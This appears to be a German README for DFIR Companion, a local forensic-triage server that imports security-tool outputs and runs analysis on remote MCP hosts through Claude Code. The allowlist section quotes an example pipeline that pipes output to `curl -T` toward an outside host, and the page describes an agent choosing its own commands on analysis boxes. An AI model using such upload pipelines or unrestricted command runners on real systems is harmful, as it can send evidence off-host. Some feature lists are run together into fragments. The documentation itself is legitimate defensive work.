
DFIR-Forensik-Begleitserver + Capture-Erweiterung
KI-gestützte DFIR-Triage — auf Ihrer Maschine. Verwandelt Untersuchungs-Screenshots und importierte Artefakte in eine forensische Timeline, Findings, IOCs, einen Asset↔IoC-Graphen und teilbare Berichte; stellen Sie dem Fall Fragen in einfachem Englisch und arbeiten Sie mit anderen Ermittlern zusammen.
Ein lokaler Digital-Forensik-/Incident-Response-Begleiter. Eine Browser-Erweiterung erfasst Screenshots Ihrer Untersuchung (Velociraptor, EDR/SIEM-Dashboards, Security Onion, Splunk4DFIR, VolWeb, VirusTotal usw.) als Beweise; ein lokaler Server speichert sie, führt eine fensterbasierte KI-Visionsanalyse in einen sich ansammelnden fallbezogenen Untersuchungszustand durch und stellt ein Live-Dashboard sowie exportierbare Berichte bereit.
Alles läuft auf Ihrer Maschine — der Begleiter bindet nur an 127.0.0.1, Beweise
bleiben auf der Festplatte, und den KI-Anbieter wählen Sie selbst.
Analyse-Schicht nach der Erkennung. DFIR Companion ist KEINE Erkennungs-Engine — es nimmt Urteile von Velociraptor, Security Onion, Chainsaw, Hayabusa, THOR, Cyber Triage, EDR/SIEM auf, korreliert sie zu einer forensischen Timeline und synthetisiert Findings, Angreiferpfad, IOCs und Berichte. Der Wert liegt im „Na und?", nicht im erneuten Ableiten von Alarmen.
Demo-Fall: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo
Praxis-Labor: https://killercoda.com/dfir-companion/scenario/killercoda
Benutzerhandbuch: https://hasamba.github.io/DFIR-Companion/manual/
companion/.env)Demo-Fall: GlobalTech Industries — BEC & Ransomware-Vorbote, Mai 2026.
Ein vollständig vorbefüllter Fall, den Sie erkunden können, ohne echte Beweise zu importieren — Findings, IOCs, MITRE-Techniken, Analysten-Tags/-Kommentare, Kundenexpositionsdaten und Berichtsmetadaten sind alle vorab befüllt, sodass jedes Dashboard-Panel etwas anzuzeigen hat.
Mit einem Klick laden — klicken Sie auf die Schaltfläche Demo case in der Dashboard-Symbolleiste. Sie funktioniert auch mit der portablen Windows-EXE (kein Node oder
npmerforderlich). Die Schaltfläche bestätigt vor dem Überschreiben, falls der Fall bereits existiert.Oder per CLI befüllen (Dev / Docker):
cd companion && npm run seed-demo # creates case id "demo" npm run seed-demo -- --force # overwrite an existing demo case npm run seed-demo -- --case-id globaltech # use a custom idÖffnen Sie dann
http://127.0.0.1:4773/dashboardund verbinden Sie sich mit dem Fall.
KI-generierte Fallzusammenfassung, minutiöses Narrativ und Angreiferpfad-Beschreibung — vom initialen Zugriff bis zur Ransomware-Bereitstellung.

Analysierte Ereignisse mit Schweregradfiltern, Triage-Tags, Detail-Links pro Zeile und Import-Änderungs- verfolgung (Banner für neue Ereignisse mit erweiterbarem Diff).

Jedes jemals importierte Ereignis, vor der Scope-/Schweregradfilterung — Zeilen filtern, taggen, markieren und in die analysierte forensische Timeline hochstufen; nichts wird entfernt, dies ist eine Obermengen-Ansicht.

Visuelles Diagramm der Ereignisse nach Asset (Y-Achse) und Zeit (X-Achse), eingefärbt nach Schweregrad — ziehen Sie die Zeit- achse, um die forensische Timeline auf einen Bereich zu filtern.

KI-generierte Findings mit Konfidenzwerten, Analysten-Triage-Tags und MITRE ATT&CK-Technik- Links; verfolgt, was sich seit dem vorherigen Syntheselauf geändert hat.

Ereignisse, gruppiert nach MITRE ATT&CK-Taktik — eine Kategorisierung, keine bestätigte Kill-Chain-Phase, deterministisch ohne KI abgeleitet.

Standard-DFIR-Fragen, automatisch aus dem synthetisierten Fall beantwortet (beantwortet / teilweise / unbekannt), jeweils mit einem Beweishinweis oder einer „das als Nächstes sammeln"-Anweisung.

Umsetzbare Remediation-Checkliste, automatisch aus Findings und empfohlenen nächsten Schritten abgeleitet; bei jedem Syntheselauf neu synchronisiert, wobei Analystenstatus, Zugewiesener und Fälligkeitsdaten erhalten bleiben.

Welche Hosts/Accounts den Angriff tragen, bewertet nach Signal (schweregradgewichtete Ereignisse + Techniken + verbindende IOCs) statt nach Volumen, mit einem vorgeschlagenen Scope-Fenster.

Prozessbäume, laterale Bewegung und Datei-Abstammung zu einem kausalen Angriffsgraphen zusammengefügt. Deterministisch aus importer-befüllten Feldern abgeleitet — keine KI, keine Kosten, läuft offline.

Wer sich wo angemeldet hat — Accounts und Hosts, verknüpft aus Super-Timeline-Anmeldeereignissen, wobei erfolgreiche, fehlgeschlagene und riskante (RDP/runas/netonly) Anmeldungen unterschieden werden.

Periodische ausgehende Kanäle, zu regelmäßig für menschlichen Datenverkehr — ein Jagdhinweis, kein Urteil, mit Intervall, Jitter und Ereignisanzahl pro Kandidat.

Indikatoren (IPs · Domains · Hashes · Dateien · Prozesse · Accounts), angereichert gegen VirusTotal,
AbuseIPDB, ThreatFox und andere Anbieter — Urteils-Badges, Erkennungswerte, NEW-Import-
Hervorhebungen und Analysten-Triage-Labels.

Interaktiver Graph, der Opfer-Hosts und -Accounts mit den Indikatoren verknüpft, die jeden berührt haben, plus eine Liste bekannter kompromittierter Hosts und Benutzer.

drop/-Ordner eines Falls kopierte Dateien werden im Hintergrund importiert, nach _processed/ oder _failed/ verschoben und in drop-log.txt protokolliert; ein Unterordner asset=<HOST> benennt den Host.evtx bytegenau aufbewahrt, Parser-Version und Exit-Code in der Verwahrung, fail-closed, standardmäßig ausDFIR_DEDUP=off)DFIR_OCR_SEARCH=off zum Deaktivieren; npm run ocr-index zum Nachbefüllen)127.0.0.1 mit CORS + Private-Network-Access für die Erweiterung; lehnt nicht erkannte Hostnamen ab und schließt so DNS-Rebinding-Angriffe (DFIR_ALLOWED_HOSTS)Alle Importer sind deterministisch (kein KI-Aufruf), lesen die eigenen Zeitstempel des Artefakts und taggen Ereignisse mit dem echten Tool-Namen für quellenübergreifende Korrelation. Dieselbe Datei kann ohne Duplizierung der Timeline erneut importiert werden.
object/action/properties, epoch-ms timestamp_ms) — Prozess-/Flow-/Logon-/Registry-/Modul-/Datei-/Thread-Ereignisse | Info-Evidenz; LOLBin/kodierte Kommandozeile → Anhebung (öffentliche IPs → IOCs) |
| Windows Event Log XML | Event Viewer „Speichern unter XML", wevtutil qe /f:xml, Get-WinEvent … ToXml() (Security, Sysmon, System, beliebiger Kanal) | Windows/Sysmon-Tabelle pro EID |
| Chainsaw | EVTX-Hunt-JSON/JSONL (chainsaw hunt --json); direkt auf rohen .evtx über den Tool-Runner ausführbar | Übereinstimmende Sigma-Regelstufe |
| Hayabusa | json-timeline oder csv-timeline | Übereinstimmende Sigma-Regelstufe |
| Velociraptor | JSON-Array, JSONL oder Artifact-Map | Sigma/YARA-Verdikt oder pro EID |
| THOR (Nextron) | JSON-Lines-Scan-Ausgabe | THOR-Alarmstufe |
| Suricata / Zeek | eve.json, Zeek-JSON-Logs; Telemetrie → nur IOCs | Alarmpriorität / Notice-Schweregrad |
| Snort / Suricata IDS (fast) | alert_fast einzeiliges Alarm-Log | Regel-Priority (1→High / 2→Medium / 3→Low) |
| YARA | yara -s -m CLI-Scan-Ausgabe (Regel-Treffer + Strings/Meta) | Info→Medium pro Treffer; Anhebung bei Regel-score/threat_level-Meta |
| Web-/Proxy-Zugriffslog | Apache/Nginx/Squid combined-Logformat (Webserver- oder Forward-Proxy-Zugriffslog); Request-URL, HTTP Referer und User-Agent erfasst (Secrets in URL/Referer + Scanner-/Bot-/Injection-UAs überleben als Events + IOCs) | Standardmäßig Info; Zugriff verweigert (401/403/407) → Low; Git-Smart-HTTP-Clone/Push → T1213 |
| Cisco ASA Firewall-Syslog | %ASA-#-######: Built/Teardown/Deny-Meldungen | Standardmäßig Info (Telemetrie); explizites Deny → Low |
| Syslog (plain) | RFC 5424 (<PRI>1 …) + RFC 3164 (Mmm dd …) Linux/Unix-Host-Logs | Standardmäßig Info (Telemetrie); Auth-Fehler oder crit/alert/emerg PRI → Low |
| Security Onion | SOC Alerts/Hunt-Events (ECS); gepusht durch die Extension oder einen SOC-API-Export | event.severity_label (Suricata/SO-Label) |
| SO-CRATES | Suricata-Alarme + YARA-Dateitreffer (/api/events) und Sigma-Detektionen (/api/sigma-alerts); gepusht durch die Extension oder einen Roh-Export | Suricata-Priorität / Sigma-Level / YARA-Treffer |
| Cyber Triage | JSONL / JSON / CSV-Timeline | Cyber-Triage-Item-Score |
| M365 / Entra ID | UAL, Entra-Anmelde- + Audit-Logs | BEC-Tradecraft-Tabelle / Entra riskLevel |
| Okta | System-Log-Export | IdP-Tradecraft-Tabelle (MFA deaktiviert, Admin-Rechte vergeben, API-Token erstellt, Session imitiert) — nicht die operative Bewertung des Anbieters |
| Google Workspace | Admin- + Login-Audit | IdP-Tradecraft-Tabelle (2SV deaktiviert, Rolle vergeben, OAuth zugestimmt, Mail-Monitor hinzugefügt) |
| Hindsight (Browser) | Chrome/Edge/Brave-Verlauf, Downloads, Interpretationen (JSON oder CSV) | — (Info-Events: Browser-Artefakte sind Evidenz, keine Verdikte) |
| macOS | Unified Log (log show --style json), LSQuarantine-Download-Events, com.apple.quarantine-Attribute, launchd-Plists, Login-Items (klassische Plist, .sfl2, BTM) | Quarantäne-Eintrag ↔ Dateiattribut ↔ Browser-Besuch ↔ Prozessstart, verknüpft über Identifier; eine Plist liest sich als Konfiguration, niemals als Ausführung |
| iLEAPP / ALEAPP | iOS- + Android-Extraktionsartefakte aus LEAPP-TSV-Exporten | — (Info-Events; generischer Parser, der auf die Timestamp-Spalte schlüsselt) |
| AWS CloudTrail | Records JSON, NDJSON, Athena | API-Aktions-Tabelle (IAM/Logging/S3/Secrets) |
| GCP / Azure | Cloud Audit Logs, Azure Activity Log | Aktions-Tabelle (IAM/Logging/Secrets) |
| Kubernetes Audit | API-Server-Audit-Log (audit.k8s.io JSON-Lines / EventList) | (Verb, Ressource)-Tabelle — Pod exec/attach T1609, Secret-Zugriff T1552.007, RBAC-Änderung T1098, privilegierter Pod T1610/T1611, anonymer Zugriff T1078 |
| osquery | Scheduled-Query-Ergebnislog (differenzielles columns + snapshot) | Info-Telemetrie; konservative Tradecraft-Anhebung bei einer Kommandozeilen-Spalte |
| Plaso | psort CSV (dynamic + l2tcsv) | — (Info-Events) |
| Sandbox-Berichte | CAPEv2 report.json, Falcon Sandbox Summary | Sample-Verdikt + Verhaltenssignaturen |
| Memory-Forensik | Volatility 3 (-r json) + Rekall: pslist/pstree, netscan, malfind, cmdline, svcscan; ein JSON-Run-Envelope (Befehl, Exit-Status, stderr) wird neben dem Export importiert | malfind injizierter Code → High (T1055); Auflistungen → Info/Low; ein Lauf mit null Zeilen oder fehlgeschlagener Lauf sagt, was er belegt |
| Intact (getrimmtes VolWeb) | memory_payload.json-Plugin-Tabellen + yarascan_results.jsonl | Gleiches Plugin-Mapping; Memory-YARA-Treffer → Low, ein dichter Cluster vieler Regeln → Info; Zeilenobergrenzen offengelegt |
| TheHive | Case-/Alert-JSON-Export, Observable-Liste (TheHive 5) | TheHive-Schweregrad 1–4; MITRE aus ATT&CK-getaggten Tags |
| E-Mail | .eml (RFC 2822), Best-Effort .msg | SPF/DKIM/DMARC-Fehler → Sender-Spoofing-Heuristiken (T1566 Phishing) |
| Shell-History | .bash_history / .zsh_history (bash HISTTIMEFORMAT #epoch + zsh Extended History) | Standardmäßig Info; konservative Anhebung bei Tradecraft (Reverse Shell, Download-and-Exec, Credential-Zugriff, Log-/History-Manipulation, laterales SSH) |
| Linux-Persistenz | SSH authorized keys, Cron, systemd-Units, Shell-Profile, SUID-Auflistungen und PATH aus einer Sammlung | Weltweit beschreibbare Payloads, root führt benutzerbeschreibbare Dateien aus, setuid-Interpreter; nichts wird allein für seine Existenz bewertet |
| Linux auditd | rohe audit.log / ausearch-Records, aureport-Tabellen | Record-Type-Tabelle (Logins, Account-Verwaltung, sudo, SELinux, Audit-Manipulation) |
| systemd journald | journalctl -o json / -o json-pretty | syslog PRIORITY + Tradecraft-Anhebungen (sshd, sudo, useradd) |
| sysdig / Falco | Falco-Alert-JSON, sysdig -j-Event-JSON | Falco-Regelpriorität; rohe Syscalls → Info-Telemetrie |
| Wazuh | alerts.json / NDJSON oder API-Export (GET /security/events) | rule.level (≥13 Critical, ≥10 High, ≥7 Medium) |
| CSV | Velociraptor / EDR-Exporte | — |
| Generische Logs | Firewall, Syslog, VPN; repetitive Zeilen → gezählte Muster | KI-triagiert |Deterministische Tradecraft-Bewertung — Windows/Sysmon-, ECAR- und Memory-Kommandozeilen werden gegen Regeln bewertet, die aus über 110 realen Intrusionen (The DFIR Report, Huntress) gewonnen wurden: Tradecraft mit hoher Konfidenz → High mit ihrer ATT&CK-Technik (Defender-Deaktivierung, Recovery-Behinderung, Credential-Dumping, Reverse-Tunnel, Impacket, RMM/C2, Cloud-Exfil …), Dual-Use → Medium; reine Discovery wird getaggt, aber nie eskaliert.
runas /netonly) → Medium$SI/$FN-Timestamp-Abweichungen als wahrscheinliches Timestomping → Mediumrclone/restic/megasync/megacmd-Ausführung in PrefetchZone.Identifier-Markierung wird gegen Prefetch, Prozessstarts und Presence-Records derselben Datei gelesen und nur angehoben, wenn die Ausführung danach datiert ist; eine Hidden-Stream-Payload wird nach Inhalt bewertet, nicht nach Namecmd.exe, ein abgelegtes Tool)nltest, Get-AD*, ntdsutil … ifm und Ähnliches werden aus 4104/4103-Records mit ihren Techniken herausgelesenssl/x509, Suricata tls) wird eine Zeile pro Beziehung und pro Zertifikat; DNS-Antworten werden mit späteren Verbindungen desselben Clients innerhalb der TTL verknüpft; Web-Request-Ketten werden nur über Identifier verknüpft, die beide Records tragenDFIR_JEV_ENABLED)DFIR_SYNTH_ADVERSARY_HINTS)tags.yaml) — Regel-Engine taggt Events, erhöht die Schwere und vereinigt MITRE-Techniken-enc, [Convert]::FromBase64String); extrahiert versteckte IOCs; zeigt [Decoded]-Blöckeprocess_creation-Regeln durchsuchen auch Sysmon / 4688-HistoriePOST /cases/:id/push (SIEM-Webhook, Velociraptor-Monitor, Skripte)DFIR_FORENSIC_MIN_SEVERITY + eine Fall-Override, Beförderung umgeht das Gate, und IOCs werden weiterhin aus jedem Event extrahiertDetectRaptor.Windows.Detection.MFT), sowohl in der forensischen als auch der Super-Timelinej/k bewegt eine Fokuszeilen-Hervorhebung auf der Forensic Timeline, f markiert mit Stern, i füllt das manuelle IOC-Formular vor, p pinnt das zitierte Finding, n öffnet einen Kommentar, ? zeigt ein Cheat Sheet; umschaltbar in Einstellungen → Allgemein, Standard anPUT /cases/:id/correlation-profileDFIR_SHODAN_KEY wieder?-Button neben dem Einstellungs-Zahnrad öffnet das Online-Benutzerhandbuch in einem neuen Tabmanual, übersteht Re-Analyse)DFIR_CROSS_CASE=on/dfir findings, /dfir iocs malicious, /dfir ask … aus dem Incident-Kanal; binde einen Kanal an einen Fall, Allowlist, wer KI-Budget ausgeben darf (#235)/mobile) für Findings/Timeline/IOCs mit Verdicts; Offline-App-Shell/cases/:id/present) für Übergabe-Briefings & Executive-Walkthroughs: große Karten, Tastaturnavigation, Auto-Advance, Severity-Filter, Report-Template-Branding; Export eines eigenständigen Offline-HTML-Decks (#177)$0.00, wenn ein Anbieter sie nicht meldet)DFIR_MAX_EVENTS) — überschreibt das Standard-Sicherheitslimit von 2000 Events pro ImportDFIR_LOG_LEVEL Live-Umschalter; debug verfolgt KI/Captures/OCR/Anonymisierungchoco install dfir-companion; lädt + verifiziert den portablen Build + bündelt die Capture-Erweiterung, Daten in %LOCALAPPDATA%docker compose up; Evidenz auf Host-Volume, kein gebündeltes KI-Backendnpm run seed-demo, um das GlobalTech-Szenario zu seedenreanalyze, synthesize, coverage, verify:ai, clean-timelineDer Companion kann Fall-Evidenz auf MCP-Server richten, die du betreibst — eine SIFT-Workstation, eine REMnux-Box, einen Windows-Triage-Baseline-Service — damit Evidenz auf einer Maschine analysiert wird, die das Tooling hat.
Er erreicht sie nur über Claude Code. Der Companion ist kein MCP-Client: er hält keine Server-
URL, kein Bearer-Token und startet kein eigenes npx oder uvx. Claude Code ist bereits mit
deinen Servern konfiguriert und hält bereits deren Credentials, also übernimmt es das Reden und der Companion bittet es
darum.
Diese ganze Funktion funktioniert nur, wenn:
DFIR_AI_CLAUDE_CODE_BIN, wenn claude nicht in dessen PATH ist.claude mcp add …, oder dessen Konfigurationsdatei), und
claude mcp list sie als verbunden zeigt.Es gibt keinen Fallback. Wenn du den Companion in Docker, aus dem AppImage oder aus dem portablen Windows-Build ohne Claude Code daneben ausführst, werden dir die MCP-Routen das sagen und sonst nichts.
Zwei Konsequenzen, die man kennen sollte, bevor man sich darauf verlässt. Jeder MCP-Aufruf geht durch ein Modell, also verbraucht er Tokens und ist nicht der bit-für-bit-deterministische Aufruf, den eine direkte JSON-RPC-Anfrage wäre — der Prompt macht es zu einem Transport (ein Tool, exakte Argumente, wörtliche Ausgabe), aber ein Modell ist trotzdem dazwischen. Und weil die Server aus Claude Codes eigener Konfiguration stammen statt aus einer generierten, startet Claude Code bei jedem Lauf jeden Server, mit dem es konfiguriert ist, nicht nur den gerade verwendeten; die Allowlist begrenzt, was aufgerufen werden darf, nicht was gestartet wird.
Unter Einstellungen → Tools drücke Refresh from Claude Code, um dessen Serverliste zu laden, dann erlaube einen und sage, was er tun darf. Es gibt nichts zu tippen außer Policy — die Servernamen kommen aus Claude Code selbst, also kann ein Tippfehler dich nicht mit einem Eintrag zurücklassen, der still auf nichts passt.
POST /cases/<id>/mcp/<serverId>/run mit { tool, args, targetPath }. Setze <target> überall dort, wo das
Tool den Evidenzpfad erwartet — es wird durch den Pfad auf dem Analyse-Host ersetzt, nachdem die Auslieferung
gelaufen ist, also ist das Argument, das du schreibst, das Argument, das das Tool erhält:```json
{ "tool": "run_command",
"args": { "command": ["vol.py", "-f", "", "pslist"] },
"targetPath": "imports/memory.raw" }
`targetPath` wird innerhalb des Fallverzeichnisses aufgelöst; alles außerhalb wird abgelehnt. Für ein Sample, das der Browser hält und zu dem der Server keinen Pfad hat, nimmt `POST /cases/<id>/mcp/<serverId>/run-upload` stattdessen `{ filename, dataBase64 }` entgegen und legt die Bytes zuerst innerhalb des Falls ab.
Beide geben **202 mit einer Job-ID** zurück, anstatt zu blockieren. Ein echter Volatility-Lauf überlebt jedes sinnvolle Request-Timeout, daher ist der Lauf ein Hintergrundjob mit Fortschritt, einem Abbrechen-Button und einem WebSocket-`job_changed`-Broadcast. Das Ergebnis fließt über dieselbe Importkette wie jedes andere Tool in den Fall — Timeline-Events, Findings und IOCs, mit einem Undo-Checkpoint —, sodass sich das Lesen des Ergebnisses in nichts von einem gewöhnlichen Import unterscheidet. Strukturierte Ausgabe wird an den passenden Importer geleitet; unstrukturierte Prosa fällt auf den generischen Log-Pfad durch, anstatt abgelehnt zu werden.
Ein Tool, das seinen eigenen Fehler meldet, lässt den Job fehlschlagen, anstatt ingestiert zu werden: Eine Fehlermeldung ist eine Diagnose, kein Artefakt, und sie in der Timeline abzulegen würde sie wie einen Beweis aussehen lassen.
### Vorschau vor dem Importieren
**Standardmäßig aktiviert**, und es lohnt sich, sie aktiviert zu lassen. Ein MCP-Server gibt Referenzdaten genauso bereitwillig zurück wie Beweise — fragt man SIFT, welche Tools es hat, erhält man ein JSON-Inventar, das strukturell identisch mit einer Volatility-Tabelle ist: ein Array von Objekten ohne Zeitstempel. Kein Detektor kann sie auseinanderhalten, also tun die Importer, wofür sie gebaut sind, und extrahieren jeden darin enthaltenen Pfad als Dateiindikator. Eine einzige Capability-Auflistung sind ein paar Dutzend IOCs, die der Fall nie wollte.
Mit aktivierter Vorschau ruft der Lauf die Ausgabe ab und stoppt. Man sieht die Bytes, die Größe und die Art, als die sie importiert *würde*, und entscheidet. Das Genehmigen ingestiert **genau die bereits abgerufenen Bytes** — es führt das Tool nie erneut aus, sodass ein zwanzigminütiger Volatility-Lauf nur einmal zwanzig Minuten kostet und ein Tool mit Nebenwirkungen diese nur einmal ausführt. Das Verwerfen wirft die Ausgabe weg und der Fall bleibt unberührt.
Sende `preview: true` beim Lauf, um es über die API zu nutzen, dann `GET`, `POST …/import` oder `DELETE` auf `/cases/<id>/mcp/preview/<jobId>`.
Nichts hiervon ersetzt das Urteilsvermögen darüber, was ausgeführt werden soll, und ein Import ohne Vorschau ist nicht gefährlich — jeder MCP-Import setzt einen Undo-Checkpoint, sodass ein Lauf, der sich als Rauschen entpuppt, einen Klick vom Zurückrollen entfernt ist.
### Was die Nutzung eines Servers gewährt
**Standardmäßig alles, was der Server anbietet.** Das ist Absicht: Claude Code erlaubt bereits, jedes Tool auf jedem konfigurierten Server aufzurufen, sodass es strenger als die eigene tägliche Nutzung gewesen wäre, hier eine erneute Aufzählung zu verlangen — und ein zweiter Ort, um denselben Server zu beschreiben.
Es lohnt sich zu wissen, was „alles" umfasst. Manche Server stellen feingranulare Tools bereit — `check_service`, `check_autorun`, eines pro Frage. Andere stellen einen einzigen **Command-Runner** bereit, der ausführt, was man ihm übergibt: SIFTs `run_command` gibt an, dass es „die meisten in SIFT installierten Tools … einschließlich curl, wget, dd, fdisk und python3" ausführen kann, und REMnux' `run_tool` nimmt eine ganze Shell-Pipeline entgegen. Einen solchen Server aus dem Companion heraus zu nutzen bedeutet Kommandoausführung auf jenem Host — vernünftig in einem isolierten Forensik-Netzwerk, wo die Analyse-Boxen einem selbst gehören und die Beweise bereits im eigenen LAN liegen, und nirgendwo sonst vernünftig.
Zwei **optionale** Listen schränken dies ein, wenn man das möchte:
| Einstellung | Gilt für | Leer bedeutet |
|---|---|---|
| **Auf Tools beschränken** | jeden Aufruf | jedes Tool, das der Server anbietet |
| **Auf Kommandos beschränken** | Aufrufe mit einem Kommando-Argument | keine Kommando-Beschränkung |
Kommandos werden **anhand des Basenamens** abgeglichen, sodass `grep` und `/usr/bin/grep` eine Regel sind. Jede Stufe einer Pipeline wird geprüft, nicht nur die erste — `oledump.py s.doc | curl -T - http://elsewhere` benötigt sowohl `oledump.py` als auch `curl` als erlaubt. Ein Kommando, das Shell-Substitution verwendet (`$(…)`, Backticks, `${…}`), wird rundheraus abgelehnt, weil nicht im Voraus bekannt sein kann, was es ausführen würde.
**Was die Kommando-Liste nicht leistet.** Sie begrenzt, *welche* Binärdateien laufen, niemals, was eine erlaubte anrichten kann — `dd` zu erlauben erlaubt das Schreiben auf jeden Pfad, auf den der Benutzer jenes Servers schreiben kann; `python3` zu erlauben erlaubt beliebigen Code. Sie greift außerdem auf wohlbekannte Parameternamen (`command`, `cmd`, `argv`), sodass ein Server, der seinen Kommando-Parameter ungewöhnlich benennt, nicht erfasst wird. Sie existiert, um einem Operator zu helfen, der seinen eigenen Zugriff einschränken möchte, nicht um einen Server einzudämmen, den man ohnehin nicht hätte konfigurieren sollen.
### Beweise zum Server bringen
MCP hat kein Dateiübertragungs-Primitiv und ein mehrere Gigabyte großes Speicherabbild kann nicht in einem Tool-Argument reisen, also muss die Datei bereits irgendwo liegen, wo der Server sie öffnen kann. Dieser Teil bleibt Aufgabe des Companion — Claude Code kann kein Image auf eine Analyse-Box bewegen. Jeder Server wählt eine von zwei Routen:
**`remote-path`** (Standard) — die Beweise sind für den Analyse-Host bereits über einen gemeinsamen Mount sichtbar. Setze ein lokales Präfix und ein Remote-Präfix und der Pfad wird umgeschrieben (`/srv/cases/…` → `/mnt/dfir/…`); lasse beide leer, wenn der Mount auf beiden Seiten am selben Pfad liegt. Nichts wird kopiert.
**`scp`** — der Companion schiebt die Datei in ein Staging-Verzeichnis, das Tool läuft, und die gestagte Kopie wird danach gelöscht. Konfiguriere `host`, `remoteDir`, optional `user`, `port` und `identityFile`.
Vier Dinge, die man vor der Wahl von `scp` wissen sollte:
- **Der Host-Key muss bereits vertrauenswürdig sein.** `BatchMode` ist aktiviert und `StrictHostKeyChecking` ist *nicht* deaktiviert, sodass ein unbekannter Host mit `Host key verification failed` fehlschlägt, anstatt dem zu vertrauen, was auch immer an der Adresse geantwortet hat. Verbinde dich zuerst einmal von Hand (oder füge den Key zu `known_hosts` hinzu). Das ist Absicht: Das stillschweigende Akzeptieren eines unverifizierten Keys würde Beweise jedem in die Hände spielen, der die IP hält.
- **Authentifizierung erfolgt nur schlüsselbasiert.** `BatchMode` bedeutet, dass ssh nie nachfragt, sodass ein Host, der nur Passwort unterstützt, nicht funktionieren kann. Richte `identityFile` auf einen Key ohne Passphrase, oder lade ihn in einen Agent, den der Serverprozess erreichen kann.
- **Es gibt keinen Fortschritt und kein Wiederaufnehmen.** Eine 16-GB-Kopie ist undurchsichtig, bis sie fertig ist oder fehlschlägt, und eine abgebrochene Verbindung bedeutet, von vorn zu beginnen. Die Übertragung ist abbrechbar und hat ihr eigenes einstündiges Timeout, getrennt vom Tool-Call-Timeout.
- **Host, Benutzer und Remote-Verzeichnis sind auf einen konservativen Zeichensatz beschränkt** (Buchstaben, Ziffern, Punkt, Bindestrich, Unterstrich und `/` für das Verzeichnis). `user@host` erreicht ssh unquotiert, sodass alles mit Shell-Bedeutung beim Speichern abgelehnt wird, nicht erst zur Übertragungszeit. Der gestagte Dateiname wird vom Beweisnamen abgeleitet und auf dieselbe Weise bereinigt.
Beide Routen zeichnen ein **Chain-of-Custody-`transferred`-Event** auf, das das Ziel benennt, sodass eine Fallakte zeigt, dass Beweise diese Maschine verlassen haben, wann und wohin. Eine fehlgeschlagene Übertragung zeichnet nichts auf — die Chain behauptet nie eine Kopie, die nicht stattgefunden hat.
### MCP-Untersuchungen in einfacher Sprache
Ein einzelner Tool-Aufruf kann keinem Faden folgen. „Untersuche diesen Dump" will eine Schleife — pslist ausführen, etwas bemerken, zu malfind pivotieren — und genau das tut der agentische Modus: Er lässt Claude Code gegen den Server arbeiten, den man erlaubt hat, und führt dann zusammen, was er berichtet. Dies ist der primäre MCP-Workflow im Dashboard: Schreibe das Ziel in einfacher Sprache, wähle die Beweise aus oder navigiere zu ihnen, wähle die MCP-App und drücke **Untersuchen**. Tool-Namen und JSON-Argumente sind nur im erweiterten Abschnitt für manuelle Aufrufe verfügbar.
`POST /cases/<id>/mcp/agent` mit `{ prompt, servers?, targetPath?, preview? }`, oder `POST /cases/<id>/mcp/agent-upload` mit `{ prompt, servers, filename, dataBase64, preview? }`.
**Lies dies, bevor du einen Server erlaubst.** In einem manuellen Lauf steuert der Companion jeden Aufruf, sodass jeder Aufruf sowohl die Tool- als auch die Kommando-Allowlist passiert. Im agentischen Modus ist das nicht so: `claude` spricht direkt mit den Servern. Nur die Tool-Allowlist überlebt, als `--allowed-tools`. **Die Kommando-Allowlist kann nicht durchgesetzt werden.** Einen Agenten ein Command-Runner-Tool nutzen zu lassen gewährt daher einer autonomen Schleife die Fähigkeit, ihre eigenen Kommandozeilen auf jenem Host zu wählen.
Das Erlauben und Aktivieren eines MCP-Servers im Companion ist die Berechtigungsgrenze für diesen Modus. Die Tool-Beschränkung des Servers gilt weiterhin. Eine Kommando-Beschränkung kann die autonome Schleife nicht einschränken; sie gilt nur für erweiterte manuelle Aufrufe.
Was der Modus dennoch garantiert: Eine explizite Tool-Beschränkung wird Tool für Tool durchgereicht; eine leere Beschränkung erlaubt absichtlich jedes Tool, das jener Server bereitstellt. Projekt-/lokale Einstellungen, `CLAUDE.md`-Dateien und Hooks sind ausgeschlossen, und der Lauf ist turn-begrenzt. Claude Codes Benutzereinstellungen bleiben aktiviert, weil dort seine MCP-Server-Verbindungen liegen.
Die Antwort des Agenten wird schema-validiert und von Herkunftsbehauptungen befreit, bevor sie zusammengeführt wird — alles, was er sah, stammte aus Tool-Ausgaben, die nicht vertrauenswürdig sind. Er wird nie um eine Fallzusammenfassung gebeten, sodass ein Lauf Findings, IOCs und Events hinzufügt, ohne die eigenen Schlussfolgerungen umzuschreiben. Die Vorschau funktioniert auch hier und ist umso wichtiger: Eine autonome Schleife entscheidet selbst, was sie berichtet.
Die Untersuchung ist auf 40 Turns begrenzt. Wenn Claude Code dieses Budget bei der Nutzung von Tools aufbraucht, setzt der Companion dieselbe Sitzung einmal mit allen deaktivierten Tools fort und bittet ihn, nur aus den bereits gesammelten Beweisen zu berichten. Dies bewahrt die Sicherheitsgrenze, ohne eine abgeschlossene Untersuchung zu verlieren, nur weil ihr abschließendes JSON der nächste Turn gewesen wäre.
### Anmeldedaten
Hier gibt es keine zu konfigurieren. Bearer-Tokens, Header und Transporte liegen alle in Claude Codes eigener MCP-Konfiguration, dem einzigen Ort, der sie hält. Der Companion speichert einen Server-*Namen*, eine Allowlist und einen Delivery-Block — nichts, was ihn befähigen würde, sich von selbst mit irgendetwas zu verbinden.
Ein Hinweis, falls man nachschaut: `claude mcp list` gibt die vollständige Kommandozeile jedes Servers aus, die bei einem `mcp-remote`-Eintrag das Bearer-Token im Klartext enthält. Der Companion parst nur den Namen und das Health-Verdikt aus dieser Ausgabe und speichert, loggt oder rendert den Rest nie — aber sei vorsichtig, wo man dieses Kommando selbst ausführt.
## Repository-Layout```
52.43-DFIR-Companion/
├── companion/ Node/TS localhost server (the core). See companion/README.md.
├── extension/ MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│ └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│ └── superpowers/plans/ The original 4 implementation plans.
├── Dockerfile Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/ Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.
